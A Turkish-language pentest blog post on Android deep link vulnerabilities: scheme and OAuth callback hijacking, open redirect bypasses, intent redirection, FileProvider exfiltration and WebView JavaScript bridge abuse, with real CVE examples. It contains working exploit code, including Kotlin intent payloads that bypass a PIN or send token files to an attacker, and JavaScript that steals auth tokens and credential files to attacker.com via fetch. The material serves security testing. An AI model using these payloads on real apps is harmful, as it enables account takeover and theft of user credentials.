Burp Suite Türkiye Topluluğu·Burp Champion Programı'nın bir parçasıdır
Burp Suite Türkiye LogoBurp Suite
✍️ Blog1 Kas 2026

Android Deep Link Zafiyet Teknikleri

Yazar: Alperen Keskin

Android uygulamalarında URI scheme hijacking, open redirect, intent redirection ve WebView JS bridge teknikleri

Android uygulamalarında deep link'ler, pentest sırasında en sık gözden kaçırdığım saldırı yüzeylerinden biri. Manifest'i açtığında android:exported="true" olan Activity'lerin sayısına bakınca ne demek istediğim netleşiyor; her biri dış input kabul eden bir giriş noktası. Bu yazıda deep link mekanizmasını, blackbox pentest'te nasıl keşfedileceğini ve her zafiyeti nasıl istismar edebileceğini ele alıyoruz.

Deep Link Mekanizması

Android'de uygulama hangi URL'leri karşılayacağını AndroidManifest.xml içindeki intent-filter bloğuyla bildirir. Kullanıcı o URL'ye tıkladığında sistem Intent'i oluşturup uygulamayı açar; URL Intent.data üzerinden gelir.

İki tür var:

<!-- Custom URI Scheme — sahiplik doğrulaması yok -->
<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="myapp" android:host="open"/>
</intent-filter>

<!-- Android App Link — HTTPS + domain doğrulamalı -->
<intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="https" android:host="app.ornek.com"/>
</intent-filter>

android:autoVerify="true" kurulum sırasında https://app.ornek.com/.well-known/assetlinks.json dosyasını kontrol eder; paket adı ve SHA-256 parmak izi eşleşmezse link uygulamaya yönlendirilmez. Custom URI scheme'de bu doğrulama yok: myapp:// şemasını manifest'ine ekleyen her uygulama bu URL'leri karşılayabilir.


Saldırı Teknikleri

1. URI Scheme Hijacking

URI Scheme Hijacking — özel şema çakışmasında token'ın zararlı uygulamaya geçişi

Nedir?

Custom URI scheme Android'de tescil gerektirmez. İki uygulama aynı şemayı bildirirse Android bir seçim ekranı gösterir ya da kullanıcının önceden seçtiği varsayılan uygulamaya yönlendirir. Scheme üzerinden taşınan token veya kod hangisi seçilirse ona gider.

Nasıl Oluşur?

Tehlikeli pattern şu: android:autoVerify yok, token direkt intent.data'dan alınıyor:

<activity android:name=".AuthCallbackActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="myapp" android:host="auth-callback"/>
    </intent-filter>
</activity>
val token = intent.data?.getQueryParameter("token")
loginWithToken(token)

Saldırı Akışı:

Web / OAuth sunucu → myapp://auth-callback?token=XXXX
                                │
                     Android Intent Resolver
                    (custom scheme tescilsiz)
                        ┌────────┴────────┐
                        ▼                 ▼
               ┌──────────────┐  ┌─────────────────┐
               │  Hedef App   │  │  Zararlı App    │
               │  (açılmaz)   │  │  token = XXXX   │
               └──────────────┘  └─────────────────┘

Nasıl Tespit Edilir?

# APK yolunu öğren (Android 5+ randomize path kullanır)
adb shell pm path com.target.app
# Çıktı: package:/data/app/~~RANDOMHASH~~/com.target.app-1/base.apk
adb pull <çıkan_yol> base.apk
apktool d base.apk -o decoded/

# Tüm custom scheme'leri listele
grep -A 15 "android.intent.action.VIEW" decoded/AndroidManifest.xml | grep "scheme"

# HTTPS olmayan + autoVerify olmayan intent-filter'ları ara
grep -B 5 "android:scheme" decoded/AndroidManifest.xml | grep -v "https"

BROWSABLE kategorisi var ve android:autoVerify="true" yok → hijack adayı.

run app.package.attacksurface com.target.app
run app.activity.info -a com.target.app

Nasıl İstismar Edilir?

Zararlı uygulamaya aynı şemayı ekle:

<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="myapp" android:host="auth-callback"/>
</intent-filter>

Android, ACTION_VIEW + BROWSABLE intent-filter'larında android:priority değerini sistem düzeyinde sıfırlar; öncelik kazanmak bu yolla mümkün değil. Aynı şemayı bildiren iki uygulama varsa Android bir seçim diyaloğu gösterir ya da kullanıcının önceden seçtiği varsayılan uygulamaya yönlendirir.

override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    val token = intent.data?.getQueryParameter("token")
    // Token saldırgana iletilir, hedef uygulama hiç açılmaz
}

ADB ile test:

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://auth-callback?token=eyJhbGciOiJIUzI1NiJ9.test"

Hangi uygulamanın yakaladığını izle:

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://auth-callback?token=test"
adb logcat | grep "ActivityManager.*START"

Çıktı:

Starting: Intent { act=android.intent.action.VIEW dat=myapp://auth-callback?token=test }
Status: ok
Activity: com.malicious.intercept/.CallbackActivity
ThisTime: 287
TotalTime: 287
WaitTime: 312
Complete
11-01 09:14:32.201  1324  1543 I ActivityManager: START u0 {act=android.intent.action.VIEW dat=myapp://auth-callback?token=test cmp=com.malicious.intercept/.CallbackActivity} from uid 2000

Sonuç: Magic link veya session token taşıyan custom URI scheme callback'leri, aynı şemayı kaydettiren zararlı bir uygulama tarafından ele geçirilebilir.


2. OAuth Callback Hijacking

Nedir?

Native OAuth akışında authorization server, kullanıcı onayından sonra code'u uygulamaya custom URI scheme üzerinden gönderir. Bu scheme başka bir uygulama tarafından yakalanabiliyorsa code ele geçirilir.

Nasıl Oluşur?

redirect_uri olarak custom scheme tanımlanmış, PKCE yok veya sunucu enforce etmiyor:

https://accounts.google.com/o/oauth2/auth
  ?client_id=CLIENT_ID
  &redirect_uri=com.target.app:/oauth2redirect
  &response_type=code
  &scope=email

Yetkilendirme sonrası:

com.target.app:/oauth2redirect?code=SplxlOBeZQQYbYS6WxSbIA

Saldırı Akışı:

Uygulama → /authorize?redirect_uri=com.target.app:/oauth2redirect
                              │
               Kullanıcı OAuth iznini verir
                              │
                              ▼
       com.target.app:/oauth2redirect?code=SplxlO...
                              │
                   Android Intent Resolver
                    ┌─────────┴──────────┐
                    ▼                    ▼
           ┌──────────────┐    ┌──────────────────┐
           │  Hedef App   │    │  Zararlı App     │
           │  (boş geldi) │    │  code=SplxlO...  │
           └──────────────┘    │  POST /token     │
                               │  → access_token  │
                               └──────────────────┘

PKCE uygulanmamışsa yakalanan code direkt token exchange için kullanılabilir. PKCE var ama sunucu enforce etmiyorsa yine çalışır.

Nasıl Tespit Edilir?

grep -i "oauth\|callback\|redirect\|auth" decoded/AndroidManifest.xml
grep "com.googleusercontent.apps" decoded/AndroidManifest.xml

Proxy'den akışı izlerken şunlara bak:

  • /authorize isteğinde code_challenge parametresi var mı? (PKCE kontrolü)
  • /token isteğinde code_verifier var mı?
  • redirect_uri tam eşleşme mi, prefix validation mı?
adb shell am start -W -a android.intent.action.VIEW \
  -d "com.target.app:/oauth2redirect?code=test_code&state=test"
adb logcat | grep "ActivityManager.*START"

Çıktı:

Starting: Intent { act=android.intent.action.VIEW dat=com.target.app:/oauth2redirect?code=test_code&state=test }
Status: ok
Activity: com.malicious.intercept/.OAuthCallbackActivity
ThisTime: 301
TotalTime: 301
WaitTime: 334
Complete
11-01 10:02:17.513  1324  1543 I ActivityManager: START u0 {act=android.intent.action.VIEW dat=com.target.app:/oauth2redirect?code=test_code cmp=com.malicious.intercept/.OAuthCallbackActivity} from uid 2000

Nasıl İstismar Edilir?

<!-- Zararlı manifest -->
<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="com.target.app" android:host="oauth2redirect"/>
</intent-filter>
val code = intent.data?.getQueryParameter("code")
// PKCE yoksa token exchange:
// POST /token
// grant_type=authorization_code
// &code=<code>
// &redirect_uri=com.target.app:/oauth2redirect
// &client_id=TARGET_CLIENT_ID

Sonuç: PKCE olmayan OAuth akışlarında custom URI scheme üzerinden tam hesap ele geçirme mümkündür.


3. Open Redirect — URL Validation Bypass

Nedir?

Deep link bir URL parametresi alıp bunu WebView'a loadUrl() ile iletiyor. startsWith, contains veya endsWith ile yapılan kontroller host'u değil string'in herhangi bir parçasını kontrol ettiğinden atlatılabiliyor.

Nasıl Oluşur?

val url = intent.data?.getQueryParameter("redirect") ?: return
if (url.startsWith("https://trusted.com")) webView.loadUrl(url)
if (url.contains("trusted.com")) webView.loadUrl(url)
if (url.endsWith("trusted.com/")) webView.loadUrl(url)

Saldırı Akışı:

myapp://open?redirect=https://[email protected]/phish
                    │
                    ▼
       DeepLinkActivity.onCreate()
       url = getQueryParameter("redirect")
       → "https://[email protected]/phish"
                    │
                    ▼
       url.startsWith("https://trusted.com")  → true ✓
                    │
                    ▼
       webView.loadUrl(url)
                    │
       Tarayıcı: host = attacker.com  (@ sonrası)
                    │
                    ▼
            Phishing sayfası yüklendi

Nasıl Tespit Edilir?

JADX'te getQueryParameter → loadUrl zincirini takip et:

jadx -d output/ target.apk

grep -r "loadUrl\|loadDataWithBaseURL" output/sources/
grep -r "startsWith\|contains\|endsWith" output/sources/ | grep -i "url\|redirect\|link"

Frida ile runtime'da izle:

Java.perform(function() {
    var WebView = Java.use("android.webkit.WebView");
    WebView.loadUrl.overload("java.lang.String").implementation = function(url) {
        console.log("[loadUrl] " + url);
        return this.loadUrl(url);
    };
});

Çıktı:

[Pixel 6::com.target.app ]-> [loadUrl] https://[email protected]/phish

Nasıl İstismar Edilir?

# startsWith bypass: @ karakteri user@host ayrımı yapar
adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?redirect=https://[email protected]/phish"

# contains bypass
adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?redirect=https://attacker.com/?x=trusted.com"

# endsWith bypass
adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?redirect=https://attacker.com/?to=trusted.com/"

# Subdomain gibi görünen bypass
adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?redirect=https://trusted.com.attacker.com/"

file:// ve javascript: protokollerini de dene:

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?redirect=file:///data/data/com.target.app/shared_prefs/creds.xml"

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?redirect=javascript:alert(document.cookie)"

file:// API 30+ cihazlarda setAllowFileAccess(true) gerektirir (varsayılan false). javascript: da setJavaScriptEnabled(true) olmadan geçmez. Statik analizde bu iki ayarı kontrol et.

Sonuç: startsWith / contains / endsWith kontrolleri atlatılabilir; WebView'a keyfi URL yüklenir.


4. Expired Domain Whitelist

Nedir?

Kod güvenli görünüyor: URL bir whitelist'le karşılaştırılıyor. Ama whitelist'teki domain süresi dolmuş ve başkası tarafından tescil edilmişse, kontrol geçer — sahip artık saldırgan.

Nasıl Oluşur?

val allowedHosts = listOf(
    "api.partner.com",
    "cdn.trusted.com",
    "old-redirect-service.com"  // ← süresi dolmuş, saldırgan tescil etmiş
)
val host = Uri.parse(url).host
if (host in allowedHosts) webView.loadUrl(url)

Saldırı Akışı:

myapp://open?redirect=https://old-redirect-service.com/page
                    │
                    ▼
       host = Uri.parse(url).host
       → "old-redirect-service.com"
                    │
                    ▼
       host in allowedHosts  → true ✓
       (domain süresi dolmuş, saldırgan tescil etti)
                    │
                    ▼
       webView.loadUrl(url)
                    │
                    ▼
          Saldırgan sayfası yüklendi

Nasıl Tespit Edilir?

Statik analiz burayı yakalayamaz; domainler canlı kontrol edilmeli:

grep -r "allowedHosts\|whitelist\|trustedDomains" output/sources/

for domain in old-redirect-service.com cdn.partner.com; do
    result=$(dig +short "$domain")
    [ -z "$result" ] && echo "Yanıt yok — NXDOMAIN olabilir: $domain"
done

whois old-redirect-service.com | grep -i "expir\|registrant"

Nasıl İstismar Edilir?

Domain tescil et → saldırgan sayfası sun → deep link URL'sini hedefe gönder. Whitelist kontrolü geçer, kod zafiyet içermediği hâlde saldırgan sayfası yüklenir.

Sonuç: Hardcoded domain whitelist'leri, domain sahipliğinin ömür boyu sabit olduğunu varsayar. Bu varsayım yanlıştır.


5. Intent Redirection

Intent Redirection — exported olmayan bileşene exported bir aktivite üzerinden erişim

Nedir?

Exported bir Activity, gelen Intent içindeki başka bir Intent'i (EXTRA_NEXT_INTENT veya benzeri bir extra) doğrulamadan startActivity() ile iletiyor. Kendi kimliğiyle çalıştığından android:exported="false" korumasını atlar; normalde dışarıdan erişilemeyen Activity'lere doğrudan ulaşır.

Nasıl Oluşur?

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        if (intent.hasExtra("EXTRA_NEXT_INTENT")) {
            val next = intent.getParcelableExtra<Intent>("EXTRA_NEXT_INTENT")
            startActivity(next)   // hedef Activity doğrulanmıyor
        }
    }
}

Saldırı Akışı:

Saldırgan Uygulaması
         │
         │  outer = Intent → MainActivity
         │  .putExtra("EXTRA_NEXT_INTENT", inner)
         ▼
┌──────────────────────────────────┐
│  MainActivity  (exported=true)   │
│  next = getParcelableExtra(...)  │
│  startActivity(next)             │  ← doğrulama yok
└──────────────────┬───────────────┘
                   │  inner = Intent → PinActivity
                   ▼
┌──────────────────────────────────┐
│  PinActivity  (exported=false)   │
│  PIN doğrulaması atlandı ✓       │
└──────────────────────────────────┘

Nasıl Tespit Edilir?

# Drozer ile exported Activity'leri listele
run app.package.attacksurface com.target.app
run app.activity.info -a com.target.app

# Tüm Activity'leri (exported + non-exported) gör
adb shell dumpsys package com.target.app | grep -A 2 "Activity"

Çıktı:

run app.package.attacksurface com.target.app
Attack Surface:
  6 activities exported
  2 broadcast receivers exported
  1 content providers exported
  0 services exported
  is debuggable

JADX'te şu pattern'ları ara:

grep -r "getParcelableExtra\|getSerializableExtra" output/sources/ | grep -i "intent"
grep -r "startActivity\|startActivityForResult" output/sources/
grep -r "EXTRA_NEXT_INTENT\|extra_intent\|inner_intent\|redirect_intent" output/sources/

Exported Activity getParcelableExtra<Intent>() alıp startActivity() çağırıyorsa → zafiyet var.

Nasıl İstismar Edilir?

PIN bypass:

val inner = Intent()
inner.setClassName("com.hedef.app", "com.hedef.app.features.pin.PinActivity")
inner.putExtra("mavericks:arg", PinArgs(PinMode.MODIFY))

val outer = Intent()
outer.setClassName("com.hedef.app", "com.hedef.app.MainActivity")
outer.putExtra("EXTRA_NEXT_INTENT", inner)
startActivity(outer)
// Non-exported PinActivity açılır, mevcut PIN doğrulaması atlanır

Çıktı (logcat):

11-01 11:23:44.102  8901  8901 I ActivityManager: START u0 {cmp=com.hedef.app/.MainActivity (has extras)} from uid 10234
11-01 11:23:44.312  8901  8901 I ActivityManager: START u0 {cmp=com.hedef.app/.features.pin.PinActivity} from uid 10142

Credential theft (sahte sunucu):

val inner = Intent()
inner.setClassName("com.hedef.app", "com.hedef.app.features.login.LoginActivity")
inner.putExtra("EXTRA_CONFIG", LoginConfig(
    homeServerUrl = "https://attacker.com/fake-server"
))

val outer = Intent()
outer.setClassName("com.hedef.app", "com.hedef.app.MainActivity")
outer.putExtra("EXTRA_NEXT_INTENT", inner)
startActivity(outer)
// Kullanıcı sahte login ekranına şifresini girer

Sonuç: android:exported="false" koruması, exported bir Activity'nin proxy olarak kullanılmasıyla işlevsiz kalır; PIN bypass'tan hesap ele geçirmeye kadar zincir kurulabilir.


6. Content Provider File Exfiltration

Nedir?

Exported bir Activity, gelen Intent'in içindeki URI'yı ve FLAG_GRANT_READ_URI_PERMISSION'ı doğrulamadan başka bir Activity'ye iletirse uygulamanın private dosya dizini açılır. FileProvider path scope'u genişse (path=".") /files/ altındaki her dosyaya erişim mümkün.

Nasıl Oluşur?

Manifest'teki FileProvider tanımı:

<provider
    android:name="androidx.core.content.FileProvider"
    android:authorities="com.hedef.app.fileprovider"
    android:exported="false"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/file_paths"/>
</provider>
<!-- file_paths.xml — tüm /files/ dizini açık -->
<files-path name="files" path="."/>

Exported IncomingShareActivity, Intent.EXTRA_STREAM ile gelen URI'ı doğrulamıyor:

val fileUri = intent.getParcelableExtra<Uri>(Intent.EXTRA_STREAM)
uploadToRoom(fileUri, intent.getStringExtra(Intent.EXTRA_SHORTCUT_ID))

Saldırı Akışı:

Saldırgan Uygulaması
         │  outer → MainActivity
         │  inner → IncomingShareActivity
         │  EXTRA_STREAM = content://...fileprovider/files/auth-tokens.realm
         │  FLAG_GRANT_READ_URI_PERMISSION
         ▼
┌───────────────────────────────────────┐
│  MainActivity  (exported=true)        │
│  startActivity(inner)                 │
└──────────────────┬────────────────────┘
                   ▼
┌───────────────────────────────────────┐
│  IncomingShareActivity                │
│  fileUri = EXTRA_STREAM               │
│  uploadToRoom(fileUri, roomId)        │ ← URI doğrulaması yok
└──────────────────┬────────────────────┘
                   ▼
┌───────────────────────────────────────┐
│  FileProvider  (path="." tüm /files/) │
│  auth-tokens.realm okundu             │
└──────────────────┬────────────────────┘
                   ▼
        Saldırgan Matrix odasına
        auth-tokens.realm iletildi ✓

Nasıl Tespit Edilir?

run app.provider.info -a com.target.app
run app.provider.finduri com.target.app

grep -r "grantUriPermissions" decoded/AndroidManifest.xml

# FileProvider her zaman android:exported="false"'dur; Drozer ile doğrudan sorgu çalışmaz
# Statik analizle file_paths.xml scope'unu kontrol et
grep -r "file_paths\|files-path\|external-path" decoded/res/

JADX'te Intent.EXTRA_STREAM alan Activity'lerde URI doğrulaması var mı kontrol et.

Nasıl İstismar Edilir?

val inner = Intent(Intent.ACTION_SEND)
inner.setClassName("com.hedef.app", "com.hedef.app.features.share.IncomingShareActivity")
inner.putExtra(
    Intent.EXTRA_STREAM,
    Uri.parse("content://com.hedef.app.fileprovider/files/auth-tokens.realm")
)
inner.putExtra(Intent.EXTRA_SHORTCUT_ID, "!saldirganOdaId:matrix.org")
inner.addFlags(
    Intent.FLAG_GRANT_READ_URI_PERMISSION or
    Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
)
inner.type = "application/octet-stream"

val outer = Intent()
outer.setClassName("com.hedef.app", "com.hedef.app.MainActivity")
outer.putExtra("EXTRA_NEXT_INTENT", inner)
startActivity(outer)
// auth-tokens.realm kullanıcı onayı olmaksızın saldırgana gönderilir

Çıktı (logcat):

11-01 11:47:22.091  9012  9012 I ActivityManager: START u0 {act=android.intent.action.SEND typ=application/octet-stream cmp=com.hedef.app/.features.share.IncomingShareActivity} from uid 10234
11-01 11:47:22.573  9012  9012 D UploadService: Uploading file: content://com.hedef.app.fileprovider/files/auth-tokens.realm to room !saldirganOdaId:matrix.org

Sonuç: android:grantUriPermissions="true" ve geniş FileProvider scope birleştiğinde intent yönlendirme, private dosyaların dışarıya sızdırılmasına yol açar.


7. intent:// URL via WebView

Nedir?

WebView içinde intent:// şemalı URL'ler Intent.parseUri() ile işlenip startActivity() çağrılıyorsa, saldırgan uygulamanın exported=false Activity'lerine bir web sayfasındaki link üzerinden ulaşabilir.

Nasıl Oluşur?

override fun shouldOverrideUrlLoading(view: WebView, url: String): Boolean {
    if (url.startsWith("intent://")) {
        val intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME)
        startActivity(intent)  // component ve selector temizlenmiyor
        return true
    }
    return false
}

intent:// URL anatomisi:

intent://HOST#Intent;
  scheme=myapp;
  component=com.hedef.app/.InternalActivity;
  action=android.intent.action.VIEW;
  end

component= alanı belirtildiğinde exported=false kontrolü aşılır.

Saldırı Akışı:

myapp://browser?url=intent://internal%23Intent%3Bcomponent%3D...
         │
         ▼
  WebViewActivity → webView.loadUrl(url)
         │  (ya da Open Redirect ile attacker.com → intent:// link)
         ▼
  attacker.com/exploit.html:
  location.href = "intent://open#Intent;
    component=com.hedef.app/.InternalActivity;end"
         │
         ▼
  shouldOverrideUrlLoading()
  intent = Intent.parseUri(url, URI_INTENT_SCHEME)
  ← component temizlenmedi
         │
         ▼
┌──────────────────────────────────────┐
│  InternalActivity (exported=false)   │
│  Erişim sağlandı ✓                   │
└──────────────────────────────────────┘

Nasıl Tespit Edilir?

grep -r "URI_INTENT_SCHEME\|URI_ALLOW_UNSAFE\|parseUri" output/sources/
grep -r "shouldOverrideUrlLoading" output/sources/

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://browser?url=intent://internal%23Intent%3Bcomponent%3Dcom.hedef.app%2F.InternalActivity%3Bend"

Çıktı:

Starting: Intent { act=android.intent.action.VIEW dat=myapp://browser?url=intent://... }
Status: ok
Activity: com.hedef.app/.InternalActivity
ThisTime: 389
TotalTime: 389
WaitTime: 421
Complete

Frida ile shouldOverrideUrlLoading hook:

Java.perform(function() {
    var WebViewClient = Java.use("android.webkit.WebViewClient");
    WebViewClient.shouldOverrideUrlLoading.overload(
        "android.webkit.WebView", "java.lang.String"
    ).implementation = function(view, url) {
        console.log("[shouldOverrideUrlLoading] " + url);
        return this.shouldOverrideUrlLoading(view, url);
    };
});

Çıktı:

[Pixel 6::com.target.app ]-> [shouldOverrideUrlLoading] intent://open#Intent;scheme=myapp;component=com.hedef.app/.InternalActivity;end

intent:// URL'i geçirilince hedef Activity açılıyorsa zafiyet var.

Nasıl İstismar Edilir?

Open Redirect + intent:// zinciri: Önce WebView keyfi URL yüklüyor, o sayfada intent:// link var:

<!-- attacker.com/exploit.html -->
<a href="intent://open#Intent;scheme=myapp;component=com.hedef.app/.PinActivity;end">
  Tıkla
</a>
<script>
  location.href = "intent://open#Intent;scheme=myapp;" +
    "component=com.hedef.app/.InternalActivity;" +
    "end";
</script>

Chrome intent:// URL'lerinde component alanını siler. Custom WebView implementasyonlarının büyük çoğunluğu silmez; component ve selector temizlenmeden kullanım tehlikelidir.

Sonuç: intent:// URL desteği olan WebView'larda component ve selector temizlenmezse, saldırgan web sayfasından internal Activity'lere erişim sağlayabilir.


8. JavaScript Bridge — addJavascriptInterface

JavaScript Bridge — WebView üzerinden oturum token'ının sızdırılması

Nedir?

WebView.addJavascriptInterface(Object, String) çağrısıyla bir Java nesnesi WebView'a kayıt edilir. Sayfadaki tüm JavaScript — iframe dahil — bu nesnenin @JavascriptInterface metodlarını window.NAME.method() ile çağırabilir. Deep link WebView'u keyfi URL ile açıyorsa, saldırgan kontrolündeki sayfa native metodlara doğrudan ulaşır.

Nasıl Oluşur?

webView.settings.javaScriptEnabled = true
webView.addJavascriptInterface(AppBridge(this), "AndroidBridge")

val url = intent.data?.getQueryParameter("url") ?: return
webView.loadUrl(url)  // URL doğrulanmıyor
class AppBridge(val ctx: Context) {
    private val prefs = ctx.getSharedPreferences("app_prefs", Context.MODE_PRIVATE)

    @JavascriptInterface
    fun getAuthToken(): String = prefs.getString("auth_token", "") ?: ""

    @JavascriptInterface
    fun readFile(path: String): String = File(path).readText()
}

Saldırı Akışı:

myapp://browser?url=https://attacker.com/steal.html
         │
         ▼
  webView.loadUrl("https://attacker.com/steal.html")
  (javaScriptEnabled = true)
         │
         ▼
  steal.html yüklendi:
  window.AndroidBridge.getAuthToken()
  → AppBridge.getAuthToken()
  → SharedPreferences["auth_token"]
         │
         ▼
  fetch("https://attacker.com/log?t=eyJ...")
         │
         ▼
  Token saldırgana iletildi ✓

Nasıl Tespit Edilir?

grep -r "addJavascriptInterface" output/sources/
grep -r "@JavascriptInterface" output/sources/
# MobSF otomatik raporunda "Insecure WebView Implementation" başlığını ara

Frida ile bridge adını ve metodlarını keşfet:

Java.perform(function() {
    var WebView = Java.use("android.webkit.WebView");
    WebView.addJavascriptInterface.overload(
        "java.lang.Object", "java.lang.String"
    ).implementation = function(obj, name) {
        console.log("[Bridge] Name: " + name + " | Class: " + obj.$className);
        return this.addJavascriptInterface(obj, name);
    };
});

Çıktı:

[Pixel 6::com.target.app ]-> [Bridge] Name: AndroidBridge | Class: com.target.app.AppBridge

Bridge adı biliniyorsa Chrome DevTools veya inject edilmiş script ile metodları listele:

const methods = Object.getOwnPropertyNames(window.AndroidBridge)
    .filter(k => typeof window.AndroidBridge[k] === "function");
console.log(methods);

Nasıl İstismar Edilir?

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://browser?url=https://attacker.com/steal.html"

Token çalma:

<!-- attacker.com/steal.html -->
<script>
    const token = window.AndroidBridge.getAuthToken();
    fetch("https://attacker.com/log?t=" + encodeURIComponent(token));
</script>

Dosya okuma:

const data = window.AndroidBridge.readFile(
    "/data/data/com.target.app/shared_prefs/credentials.xml"
);
fetch("https://attacker.com/log?d=" + btoa(data));

Çıktı (logcat):

11-01 09:41:17.883  4521  4732 D OkHttp  : --> GET https://attacker.com/log?t=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2IiwiZW1haWwiOiJ2aWN0aW1AZXhhbXBsZS5jb20iLCJleHAiOjE3NjIwMDAwMDB9.Rj8qZ2L5aX HTTP/1.1
11-01 09:41:17.891  4521  4732 D OkHttp  : <-- 200 OK https://attacker.com/log (8ms)

addJavascriptInterface sadece ana sayfa için değil; içindeki her iframe da aynı bridge metodlarına ulaşabilir.

Sonuç: URL doğrulama eksikliği + JavaScript etkinleştirme + açık bridge metodu aynı anda bulunduğunda saldırgan, uygulama yetkisiyle oturum token'larına ve local dosyalara erişir.


Gerçek Dünya Örnekleri

CVE-2026-26123 — Microsoft Authenticator

Klasik "kendi ürettiği URL'yi dinlemiyor" vakası. Authenticator QR kurulum akışında ms-msa:// şemalı link üretiyor ama manifest'inde bu şemayı karşılayan tek bir intent-filter yok. Cihaza yüklü herhangi bir uygulama şemayı kayıt ettirip kurulum token'ını alabilir — Outlook, OneDrive, Teams, Office: hepsi gider. [1]

EngageLab SDK — 50 Milyon Kurulum

Senin kodun temiz, SDK'nın değil. EngageLab'ın MTCommonActivity'si exported="true" — gelen Intent'teki n_intent_uri alanını URI_ALLOW_UNSAFE ile parse edip FLAG_GRANT_PERSISTABLE_URI_PERMISSION ile startActivity() yapıyor. SDK'yı kullanan kripto cüzdanı uygulamalarında bu yolla private key dizinine erişim açık. 30M+ kripto cüzdanı, toplamda 50M+ kurulum etkileniyor. [2]

CVE-2024-26131 / CVE-2024-26132 — Element Android

İki CVE, tek intent redirection zafiyeti. MainActivity → EXTRA_NEXT_INTENT → doğrulamadan startActivity(). Buradan iki yol açılıyor: PinActivity'ye gidip PIN doğrulamasını atla, ya da LoginActivity'ye sahte Matrix sunucusu adresi ver, şifreyi kendi sunucuna düşür. İkinci CVE'de IncomingShareActivity + MultiPickerFileProvider kombinasyonuyla matrix-sdk-auth.realm dahil tüm /files/ dizini dışarı çıkıyor — kullanıcı etkileşimi sıfır. [3]

CVE-2022-28799 — TikTok Android

Deep link doğrulaması crafted URL ile geçiliyor, WebView devreye giriyor, bridge token'ı dışarı veriyor. CVSS 8.8. [4]


Sonuç

Deep link saldırıları genellikle zincir hâlinde ortaya çıkar: URI scheme hijacking ile başlayan saldırı intent redirection ile devam edip JavaScript bridge üzerinden token ve dosya sızdırmaya uzanabilir. Pentest'te ilk bakacağın yer manifest — android:exported="true" olan her bileşen ve BROWSABLE kategorisindeki her intent-filter dış input kabul ediyor. SDK entegrasyonlarını da aynı şekilde incele: EngageLab örneğinde görüldüğü gibi zafiyet senin değil, kullandığın SDK'nın kodunda olabilir.


Kaynaklar

  1. CVE-2026-26123 — Microsoft Authenticator Unclaimed Deep Link: https://infosecwriteups.com/microsoft-authenticators-unclaimed-deep-link-a-full-account-takeover-story-cve-2026-26123-e0409a920a02
  2. Microsoft Security Blog — EngageLab SDK Intent Redirection (Nisan 2026): https://www.microsoft.com/en-us/security/blog/2026/04/09/intent-redirection-vulnerability-third-party-sdk-android/
  3. Shielder — Element Android CVE-2024-26131, CVE-2024-26132: https://www.shielder.com/blog/2024/04/element-android-cve-2024-26131-cve-2024-26132-never-take-intents-from-strangers/
  4. NVD — CVE-2022-28799 TikTok Android: https://nvd.nist.gov/vuln/detail/CVE-2022-28799
  5. Oversecured — Android Deep Link Vulnerabilities: https://oversecured.com/blog/android-deep-link-vulnerabilities
  6. Oversecured — Android Access to App Protected Components: https://oversecured.com/blog/android-access-to-app-protected-components
  7. OWASP MASTG-TEST-0028 — Testing Deep Links: https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0028/
  8. OWASP MASTG-TEST-0033 — Testing WebView JavaScript Interface: https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0033/
  9. Android Developers — Insecure WebView Native Bridges: https://developer.android.com/privacy-and-security/risks/insecure-webview-native-bridges
  10. Sentry Security — Android Deeplink Hijacking: https://blog.sentry.security/deep-hijacking/
  11. Stingrai — Full Account Takeover via Deeplinks: https://www.stingrai.io/blog/full-account-takeover-deeplinks
#android#deep-link#mobil-guvenlik#intent-redirection#webview